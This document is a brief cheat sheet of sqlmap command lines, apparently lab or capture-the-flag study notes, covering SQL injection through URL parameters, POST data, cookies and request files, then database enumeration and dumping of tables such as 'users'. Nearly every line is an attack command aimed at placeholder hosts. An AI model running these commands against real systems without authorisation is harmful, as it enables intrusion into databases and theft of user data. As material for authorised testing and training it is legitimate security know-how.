←

SQLMap

Common GET/POST Requests

sqlmap 'http://www.example.com/' --data 'uid=1&name=test' --batch --dump

sqlmap 'http://www.example.com/' --data 'uid=1*&name=test' --batch --dump

Running SQLMap on a file

sqlmap -r req.txt --batch --dump

Getting a specific table

sqlmap -r req.txt --batch -T table3 --dump

sqlmap 'http://www.example.com/' --data 'id=1' --cookie='id=1*' --batch --dump

sqlmap 'http://www.example.com/' --data 'id=1' cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' --batch

Using Level/Risk

  • the higher the level and risk the larger the set of boundaries tested
sqlmap -u http://example.com?id=1 -v 3 --level=5 --risk=3 --no-cast -T table5 --batch --dump

Using Prefix/Suffix

sqlmap -u http://example.com?col=id -v 3 --level=5 --risk=3 --no-cast -T flag6 --batch --dump --prefix='`)'

Specifying the number of columns

sqlmap -u http://example.com?id=1 -v 3 --level=5 --risk=3 --no-cast -T flag7 --batch --dump --union-cols=5

Basic DB Enumeration

sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba

Table Enumeration

sqlmap -u "http://www.example.com/?id=1" --tables -D testdb

Dumping Table

sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb